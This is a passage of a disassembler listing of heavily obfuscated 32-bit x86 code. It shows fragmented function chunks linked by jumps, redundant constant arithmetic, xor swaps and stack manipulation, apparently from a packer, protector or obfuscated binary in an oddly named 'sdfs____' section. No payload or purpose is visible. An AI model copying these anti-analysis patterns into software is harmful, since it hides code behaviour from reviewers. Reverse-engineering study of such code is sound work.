		mov	[esp-0Ch+arg_8], edx
		jmp	loc_5AD383
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A7E7


loc_59AA81:				; CODE XREF: sub_59A7E7-102Fj
		mov	bl, 97h
		and	bl, 0C6h
		xor	bl, 76h
		add	ch, bl
		jmp	loc_5A1A42
; END OF FUNCTION CHUNK	FOR sub_59A7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59AA90:				; CODE XREF: sub_59C979+579Bj
		add	ebx, edi
		pop	edi
		sub	ebx, 164137F7h
		pop	esi
		push	ecx
		mov	ecx, 2
		jmp	loc_5A263D
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59AAA5:				; CODE XREF: sub_5AA2D1+3852j
		mov	ah, 0DCh
		sub	ch, ah
		pop	eax
		sub	al, ch
		jmp	loc_5AA614
; ---------------------------------------------------------------------------


loc_59AAB1:				; CODE XREF: sub_5AA2D1+3E4Aj
		mov	al, 72h
		jmp	loc_5A6905
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B03B3


loc_59AAB8:				; CODE XREF: sub_5B03B3-F307j
		sub	esi, 60FE08C8h
		add	esi, ebx
		add	esi, 60FE08C8h
		jmp	loc_5A96D1
; END OF FUNCTION CHUNK	FOR sub_5B03B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_59AACB:				; CODE XREF: sub_5A0FFF-3BC2j
		xor	dh, 1Ah
		add	dh, 0D6h
		mov	bh, 54h
		xor	bh, dh
		pop	edx
		inc	bh
		push	edx
		mov	dl, 3Ch
		shr	dl, 1
		xor	dl, 0EBh
		jmp	loc_59C15E
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD243


loc_59AAE5:				; CODE XREF: sub_5AD243+221Ej
		pop	ebp
		sub	esp, 4
		mov	[esp-8+arg_4], ebp
		jmp	loc_59B7B8
; END OF FUNCTION CHUNK	FOR sub_5AD243
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F1C3


loc_59AAF4:				; CODE XREF: sub_59F1C3+3570j
		sub	edx, 4
		xchg	edx, [esp+4+var_4]
		jmp	loc_5A4090
; END OF FUNCTION CHUNK	FOR sub_59F1C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_59AAFF:				; CODE XREF: sub_59EE3E+28D5j
		pop	edi
		inc	edi
		jle	loc_5A16E6
		not	edi
		xor	edi, 4777641Ch
		jnz	loc_5A5243
		add	edi, 3D9CDE1Ch
		mov	ecx, edi
		pop	edi
		push	ebp
		mov	ebp, edi
		mov	ah, bl


loc_59AB23:				; DATA XREF: sdfs____:00599048o
		mov	cx, [esp+0]
		jmp	loc_5A59E9
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AFA26


loc_59AB2C:				; CODE XREF: sub_5AFA26-2818j
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		push	ebp
		mov	ebp, 4
		jmp	loc_5A6A6B
; END OF FUNCTION CHUNK	FOR sub_5AFA26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_59AB42:				; CODE XREF: sub_5A79BE-BA25j
		or	ecx, 4D030CD6h
		push	esi
		jmp	loc_59F56C
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_59AB4E:				; CODE XREF: sub_59A26C+B70Ej
		pop	edi
		jmp	loc_5A7D50
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE7B8


loc_59AB54:				; CODE XREF: sub_5AE7B8-DF5Cj
		mov	esi, [esp+8+var_8]
		add	esp, 4
		jmp	loc_599901
; END OF FUNCTION CHUNK	FOR sub_5AE7B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59AB62:				; CODE XREF: sub_5992DA+6j
		add	edi, ebx
		pop	ebx
		xor	edi, [esp+4+var_6+2]
		xor	[esp+4+var_6+2], edi
		xor	edi, [esp+4+var_6+2]
		pop	esp
		jmp	loc_59BD59
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A479


loc_59AB74:				; CODE XREF: sub_59EE3E-3731j
					; sub_59A479+C7BCj
		not	ecx
		add	ecx, 0F7C37BBAh
		add	edx, ecx
		pop	ecx
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59A479
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC803


loc_59AB84:				; CODE XREF: sub_5AC803-225Dj
		add	esi, 1
		jmp	loc_5A55D1
; END OF FUNCTION CHUNK	FOR sub_5AC803
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD993


loc_59AB8F:				; CODE XREF: sub_5AD993-1FBBj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-0Ch+arg_8]
		pop	esp
		push	ebx
		push	[esp-0Ch+arg_C]
		pop	ebx
		pop	[esp-0Ch+arg_8]
		pop	esp
		mov	[esp-14h+arg_10], ecx
		push	3474h
		mov	[esp-10h+arg_C], esi
		jmp	loc_5A9501
; END OF FUNCTION CHUNK	FOR sub_5AD993
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_59ABB6:				; CODE XREF: sub_5A2E28+A469j
		add	edi, esi
		pop	esi
		add	edi, ebx
		sub	edi, 51F333DCh
		add	edi, 1BF687Fh
		jmp	loc_59F206
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9D64


loc_59ABCC:				; CODE XREF: sub_59982C+766Cj
					; sub_5A9D64:loc_5A2572j
		add	ebx, 0A95A29D5h
		push	ebx
		inc	[esp+10h+var_10]
		jmp	loc_5A74EC
; END OF FUNCTION CHUNK	FOR sub_5A9D64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F02F


loc_59ABDB:				; CODE XREF: sub_59F02F+109ADj
		mov	ebx, [esp+0Ch+var_C]
		push	ebp
		jmp	loc_5AAF67
; END OF FUNCTION CHUNK	FOR sub_59F02F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF294


loc_59ABE4:				; CODE XREF: sub_5AF294-8F3Aj
		mov	edi, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0], esi
		mov	esi, edi
		mov	ebx, esi
		mov	esi, [esp+0]
		add	esp, 4
		pop	edi
		neg	ebx
		sub	ebx, 5BE20768h
		jmp	loc_59D8B8
; END OF FUNCTION CHUNK	FOR sub_5AF294
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59AC13:				; CODE XREF: sub_5AA2D1+2832j
		pop	esp
		xor	eax, edi
		push	[esp-14h+arg_10]
		pop	edi
		push	edx
		jmp	loc_5A9B09
; ---------------------------------------------------------------------------


loc_59AC20:				; CODE XREF: sub_5A580F-AA58j
					; sub_5AA2D1-124Dj
		ja	loc_5A0B69
		add	eax, 1F276869h
		not	eax
		inc	eax
		jmp	loc_5AFD90
; ---------------------------------------------------------------------------


loc_59AC33:				; CODE XREF: sub_5AA2D1-10A1j
		dec	ecx
		xor	ecx, 0BCD31F35h
		push	ecx
		add	[esp-0Ch+arg_8], 3403427Dh
		jmp	loc_59F391
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_59AC47:				; CODE XREF: sdfs____:005A85DBj
		add	esp, 4
		jmp	loc_5ADE63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_59AC4F:				; CODE XREF: sub_5A118F+2016j
		pop	ebx
		sub	dh, 2Eh
		push	ecx
		jmp	loc_5ABD5A
; END OF FUNCTION CHUNK	FOR sub_5A118F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2166


loc_59AC59:				; CODE XREF: sub_5A2166+C748j
		add	esi, 287C75B4h
		jmp	loc_5A8A44
; END OF FUNCTION CHUNK	FOR sub_5A2166
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_59AC64:				; CODE XREF: sub_5A2E28+B0FAj
		xor	ecx, 4B02B769h
		mov	edx, ecx
		pop	ecx
		not	edx
		jmp	loc_5A83CA
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ED98


loc_59AC74:				; CODE XREF: sub_59ED98+C8D1j
		pop	esp
		jmp	loc_5AD3F6
; END OF FUNCTION CHUNK	FOR sub_59ED98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A16B8


loc_59AC7A:				; CODE XREF: sub_5A16B8+35A6j
		sub	edi, edx
		add	edi, 7ECD1A0Fh
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		xchg	edi, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		mov	[esp+4+var_4], edi
		sub	esp, 4
		jmp	loc_5AB8DD
; END OF FUNCTION CHUNK	FOR sub_5A16B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_59AC9C:				; CODE XREF: sub_5AD795-51FAj
		push	[esp+4+var_4]
		mov	edi, [esp+8+var_8]
		add	esp, 4
		add	esp, 4
		push	edi
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_5A20B6
; END OF FUNCTION CHUNK	FOR sub_5AD795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5735


loc_59ACB7:				; CODE XREF: sub_5A5735-94E8j
					; sdfs____:005AD32Dj
		pop	ecx
		add	ecx, 47FC2546h
		jmp	loc_5AF76D
; END OF FUNCTION CHUNK	FOR sub_5A5735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59ACC3:				; CODE XREF: sub_5AA2D1-269Dj
		push	eax
		mov	ah, 2Ch
		dec	ah
		or	ah, 8Bh
		jmp	loc_59BE7A
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_59ACD0	proc near		; DATA XREF: sdfs____:00599084o
		mov	ax, [esp+0]
		jmp	sub_59A66A
sub_59ACD0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_59ACD9:				; CODE XREF: sub_5A2E28-8F3j
		xchg	edi, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], edi
		push	104322BEh
		pop	edi
		jmp	loc_5A691E
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_59ACEB:				; CODE XREF: sub_5A6BBC+47CDj
		pop	ebp
		shr	ecx, 7
		push	3F43h
		mov	[esp+0], ebx
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		jmp	loc_59AE5A
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3699


loc_59AD02:				; CODE XREF: sub_5A3699+6j
		add	esi, ebx
		jmp	loc_59B63E
; END OF FUNCTION CHUNK	FOR sub_5A3699
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59AD09:				; CODE XREF: sub_5992DA+15BA7j
		shr	ch, 7
		jmp	loc_5A1AF6
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_59AD11:				; CODE XREF: sub_5AD795-13EEDj
		xchg	ecx, [esp+4+var_4]
		jmp	loc_5A7949
; END OF FUNCTION CHUNK	FOR sub_5AD795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_59AD19:				; CODE XREF: sub_5A10E3+4AB3j
					; sub_5A580F+42B4j
		sub	dword ptr [esp+0], 1CFC059Fh
		sub	esp, 4
		jmp	loc_59ECE2
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C2B8


loc_59AD2B:				; CODE XREF: sub_59C2B8+3F12j
		push	[esp+4+var_4]
		pop	esi
		jmp	sub_5AB2EA
; END OF FUNCTION CHUNK	FOR sub_59C2B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59AD34:				; CODE XREF: sub_5992DA+6D75j
		push	4F4A3DF1h
		pop	edi
		add	edi, 0B0B5C213h
		jmp	loc_5A7F7A
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B95E


loc_59AD45:				; CODE XREF: sub_59B95E+B697j
		sub	edx, ebp
		pop	ebp
		jmp	loc_59FDAD
; END OF FUNCTION CHUNK	FOR sub_59B95E

; =============== S U B	R O U T	I N E =======================================



sub_59AD4D	proc near		; CODE XREF: sub_59FC02+A5DAj

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	eax, 30370683h
		jmp	loc_59944E
sub_59AD4D	endp


; =============== S U B	R O U T	I N E =======================================



sub_59AD5D	proc near		; CODE XREF: sub_59A46C+1j

var_2		= word ptr -2

; FUNCTION CHUNK AT 005A3E48 SIZE 0000001C BYTES

		push	bx
		push	edx
		mov	dl, 0FBh
		mov	bh, 11h
		sub	bh, dl
		pop	edx
		sub	al, 0F0h
		sub	al, bh
		jmp	loc_5A3E48
sub_59AD5D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59AD70:				; CODE XREF: sub_5AA2D1-79F9j
		mov	dl, 0E8h
		push	ax
		mov	al, 6Ah
		jmp	loc_5A7938
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_59AD7B	proc near		; CODE XREF: sub_5A4E04+7356j

; FUNCTION CHUNK AT 0059D495 SIZE 00000024 BYTES

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 6B470548h
		jmp	loc_59D495
sub_59AD7B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F1F3


loc_59AD89:				; CODE XREF: sub_59F1F3-265Ej
		push	dword ptr [esp+0]
		pop	edi
		add	esp, 4
		jmp	loc_5A68C3
; END OF FUNCTION CHUNK	FOR sub_59F1F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_59AD98:				; CODE XREF: sub_5A2E28-4C80j
		pop	eax
		xor	edx, esi
		mov	esi, [esp-0Ch+arg_8]
		jmp	loc_59EAD9
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59ADA3:				; CODE XREF: sdfs____:0059A336j
					; sub_5AA2D1-1F92j
		add	ah, 0AFh
		jmp	loc_5AD1D9
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_59ADAB:				; CODE XREF: sub_5A580F-795Dj
		jg	loc_59BBE6
		sub	edi, 3B4229CCh
		jno	loc_59AC20
		xor	al, 95h
		pop	eax
; END OF FUNCTION CHUNK	FOR sub_5A580F
; START	OF FUNCTION CHUNK FOR sub_5AB207


loc_59ADC0:				; CODE XREF: sub_5AB207:loc_5A6DC5j
		or	ecx, 311771C6h
		jz	loc_59EA61
		sub	ecx, 3FB773FAh
		mov	ebx, ecx
		pop	ecx
		sub	edi, 1FDF2007h
		sub	edi, ebx
		push	ebx
		mov	ebx, 50C73524h
		push	eax
		mov	eax, 455717F5h
		sub	ebx, eax
		pop	eax
		jmp	loc_5A87A2
; END OF FUNCTION CHUNK	FOR sub_5AB207
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59ADF1:				; CODE XREF: sub_59D6B8+106FBj
		push	ecx
		push	0B5Bh
		mov	[esp+10h+var_10], edi
		mov	edi, 6C735E10h
		sub	edi, 4B9C01C2h
		jmp	loc_5AFE51
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A16B8


loc_59AE0A:				; CODE XREF: sub_5A16B8+4j
		push	73D9h
		jmp	loc_5A49EA
; END OF FUNCTION CHUNK	FOR sub_5A16B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A26E8


loc_59AE14:				; CODE XREF: sub_5A26E8-450j
		pop	edi
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp+0Ch+var_C]
		pop	esp
		sub	ebp, 32712ED6h
		sub	esp, 4
		mov	[esp+0Ch+var_C], edx
		mov	edx, 46E34A6Eh
		push	edi
		jmp	loc_5AE41A
; END OF FUNCTION CHUNK	FOR sub_5A26E8

; =============== S U B	R O U T	I N E =======================================



sub_59AE39	proc near		; DATA XREF: sdfs____:00598E58o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A1F62 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A3906 SIZE 00000018 BYTES

		lodsd
		xor	eax, ebx
		push	1E3Ah
		mov	[esp+4+var_4], ebp
		mov	ebp, 74FB89B0h
		jmp	loc_5A3906
sub_59AE39	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59AE4E:				; CODE XREF: sub_59D6B8+10CCj
		pop	esp
		push	ebp
		mov	ebp, 50E8064Ah
		jmp	loc_5AE66D
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_59AE5A:				; CODE XREF: sub_5A6BBC-BEBFj
		pop	eax
		add	esp, 4
		push	11F1h
		mov	[esp+4+var_4], esi
		push	esp
		pop	esi
		push	3539h
		mov	[esp+8+var_8], eax
		push	edi
		push	ecx
		mov	ecx, 48817BEFh
		jmp	loc_59FAC6
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_59AE7C:				; CODE XREF: sub_59A26C+F10Bj
		add	esi, 4
		xor	esi, [esp-8+arg_4]
		xor	[esp-8+arg_4], esi
		xor	esi, [esp-8+arg_4]
		pop	esp
		push	316Dh
		mov	[esp-8+arg_4], eax
		push	818h
		jmp	loc_5A8002
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B03B3


loc_59AE9B:				; CODE XREF: sub_5B03B3-2D2Aj
		push	ecx
		mov	ecx, 1000000h
		mov	ebx, ecx
		pop	ecx
		jmp	loc_5ABE58
; END OF FUNCTION CHUNK	FOR sub_5B03B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4E8


loc_59AEA9:				; CODE XREF: sub_59A4E8+10C71j
		mov	edi, 6E311520h
		push	edx
		mov	edx, edi
		jmp	loc_5A6F59
; END OF FUNCTION CHUNK	FOR sub_59A4E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_59AEB6:				; CODE XREF: sub_5A0AA2-63B6j
		mov	[esp+8+var_8], ecx
		jmp	loc_5A1219
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B0377


loc_59AEBE:				; CODE XREF: sub_5B0377-112Aj
		mov	edi, 93D72447h
		jmp	loc_5A3580
; END OF FUNCTION CHUNK	FOR sub_5B0377
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF2D9


loc_59AEC8:				; CODE XREF: sub_5AF2D9-4F96j
		mov	ecx, [esp+10h+var_10]
		jmp	sub_5A491A
; END OF FUNCTION CHUNK	FOR sub_5AF2D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59AED0:				; CODE XREF: sub_5AA2D1-5D01j
		push	891h
		jmp	loc_5AA288
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB82


loc_59AEDA:				; CODE XREF: sub_59DB82+3478j
		mov	[esp+0], cx
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59DB82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C1E9


loc_59AEE3:				; CODE XREF: sub_59C1E9+5187j
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59C1E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A06C1


loc_59AEE8:				; CODE XREF: sub_5A06C1-2ABj
		pop	eax
		jmp	loc_5A082F
; END OF FUNCTION CHUNK	FOR sub_5A06C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_59AEEE:				; CODE XREF: sub_5A5EFF+2E9Cj
		mov	ecx, 70BD07D8h
		not	ecx
		add	ecx, 47F55756h
		add	ecx, 5DADDE89h
		or	esi, ecx
		pop	ecx
		or	esi, 1F582972h
		sub	esi, 97C8470Eh
		sub	ecx, esi
		pop	esi
		jmp	loc_5AF661
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B2E4


loc_59AF18:				; CODE XREF: sub_59B2E4-EF8j
		not	ecx
		add	ecx, 1
		jmp	loc_5AC2A3
; END OF FUNCTION CHUNK	FOR sub_59B2E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FC02


loc_59AF25:				; CODE XREF: sub_59FC02+A5F1j
		sub	eax, 4BBD1050h
		jmp	loc_5A7BB3
; END OF FUNCTION CHUNK	FOR sub_59FC02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EBF


loc_59AF2F:				; CODE XREF: sub_5A9EBF-1C5Dj
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		add	ecx, edx
		sub	ecx, 51A73B7Dh
		mov	edx, [esp+8+var_8]
		jmp	loc_59A0FC
; ---------------------------------------------------------------------------


loc_59AF45:				; CODE XREF: sub_5A9EBF-10828j
		add	ebx, 11C12E8Eh
		sub	ebx, ebp
		jmp	loc_5A24DC
; END OF FUNCTION CHUNK	FOR sub_5A9EBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_59AF52:				; CODE XREF: sub_5A0AA2-3618j
					; sub_5AD993:loc_5AF673j
		inc	ch
		jl	loc_5A637F
		jmp	loc_5A7AF5
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EBF


loc_59AF5F:				; CODE XREF: sub_5A9EBF-58CDj
		sub	eax, 1EB6104Bh
		jo	loc_5A8C6A
		xor	eax, 5092D7E4h
		mov	ebp, eax
		pop	eax
		mov	ecx, esi
		pop	esp
; END OF FUNCTION CHUNK	FOR sub_5A9EBF
; START	OF FUNCTION CHUNK FOR sub_5AD84A


loc_59AF75:				; CODE XREF: sub_5AD84A-B5AAj
		and	ebx, 74986DD8h
		add	ebx, 0AFEFBE7Ch
		mov	esi, ebx
		jmp	loc_5A95D9
; END OF FUNCTION CHUNK	FOR sub_5AD84A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59AF88:				; CODE XREF: sub_59D6B8+5BFj
		mov	[esp+10h+var_10], edi
		push	ebp
		mov	ebp, 5C976EB7h
		mov	edi, ebp
		mov	ebp, [esp+14h+var_14]
		add	esp, 4
		dec	edi
		push	0A87h
		mov	[esp+14h+var_14], eax
		mov	eax, 0EE25678h
		jmp	loc_5A1845
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59AFAF:				; CODE XREF: sub_5992DA+16643j
		sub	dh, 58h
		dec	dh
		sub	dh, 2Ch
		jg	loc_59F28D
		xor	dh, 1Ah
		mov	ah, dh
		pop	edx
		jmp	loc_5AD751
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
		mov	[esp], ecx
; START	OF FUNCTION CHUNK FOR sub_5A21A4


loc_59AFCB:				; CODE XREF: sub_5A21A4+AC4j
		add	eax, edx
		pop	edx
		jmp	loc_5ADECF
; END OF FUNCTION CHUNK	FOR sub_5A21A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_59AFD3:				; CODE XREF: sub_5ADD33-2D6Ej
		xchg	ecx, [esp+4+var_4]
		jmp	loc_5AB950
; END OF FUNCTION CHUNK	FOR sub_5ADD33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A516


loc_59AFDB:				; CODE XREF: sub_59A516+12j
		add	[esp+8+var_8], 4
		jmp	loc_5A3165
; END OF FUNCTION CHUNK	FOR sub_59A516

; =============== S U B	R O U T	I N E =======================================



sub_59AFE7	proc near		; DATA XREF: sdfs____:00598FACo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005AAEF4 SIZE 0000002E BYTES

		push	ebp
		jmp	loc_5AAEF4
sub_59AFE7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A81C4


loc_59AFED:				; CODE XREF: sub_5A81C4+3j
		mov	[esp+4+var_4], ebp
		jmp	loc_5A4FF2
; END OF FUNCTION CHUNK	FOR sub_5A81C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59AFF5:				; CODE XREF: sub_5AA2D1+209Aj
		sub	ecx, 41067E36h
		jmp	loc_5A3A11
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF2D9


loc_59B000:				; CODE XREF: sub_5AF2D9-D013j
		add	edx, 4
		push	7957h
		mov	[esp+14h+var_14], eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		xchg	edx, [esp+10h+var_10]
		pop	esp
		dec	ecx
		xor	ecx, 3810140h
		sub	ecx, 6B964FBAh
		jl	loc_59A632
		add	ecx, 69AE4D94h
		push	ecx
		pop	ebx
		mov	edi, edi
		push	ecx


loc_59B038:				; CODE XREF: sub_5AC7C6+24j
		pop	eax
		add	ebx, 4
		xor	ebx, [esp+0Ch+var_C]
		jmp	loc_59A9C5
; END OF FUNCTION CHUNK	FOR sub_5AF2D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_59B047:				; CODE XREF: sub_5A0FFF+142Fj
		mov	ebx, edx
		pop	edx
		jmp	loc_59BBFD
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A26E8


loc_59B04F:				; CODE XREF: sub_5A26E8-5E0Bj
		push	4D00h
		mov	[esp+4+var_4], edx
		jmp	loc_5A0AE3
; END OF FUNCTION CHUNK	FOR sub_5A26E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E94B


loc_59B05C:				; CODE XREF: sub_59E94B:loc_5AA097j
		or	ecx, 21CB7975h
		jbe	loc_59E37C
		jmp	loc_5A56A2
; END OF FUNCTION CHUNK	FOR sub_59E94B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59B06D:				; CODE XREF: sub_59D6B8+BE44j
		mov	ax, word ptr [esp+14h+var_14]
		push	ebx
		push	esp
		mov	ebx, [esp+1Ch+var_1C]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5AA3EE
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B4A0


loc_59B081:				; CODE XREF: sub_59B4A0+809Aj
		pop	edi
		jmp	loc_5A3F71
; END OF FUNCTION CHUNK	FOR sub_59B4A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF2D9


loc_59B087:				; CODE XREF: sub_5AF2D9-14C9Fj
		pop	ecx
		push	ecx
		push	edx
		mov	edx, 0A2317E6h
		push	ebx
		mov	ebx, edx
		mov	ecx, ebx
		pop	ebx
		pop	edx
		not	ecx
		push	eax
		jmp	loc_5A60E1
; END OF FUNCTION CHUNK	FOR sub_5AF2D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3B60


loc_59B09E:				; CODE XREF: sub_5A3B60+723Fj
		inc	esi
		sub	esi, 0AC8EF089h
		mov	eax, esi
		pop	esi
		sub	eax, 0EBA2E0BAh
		sub	ebp, eax
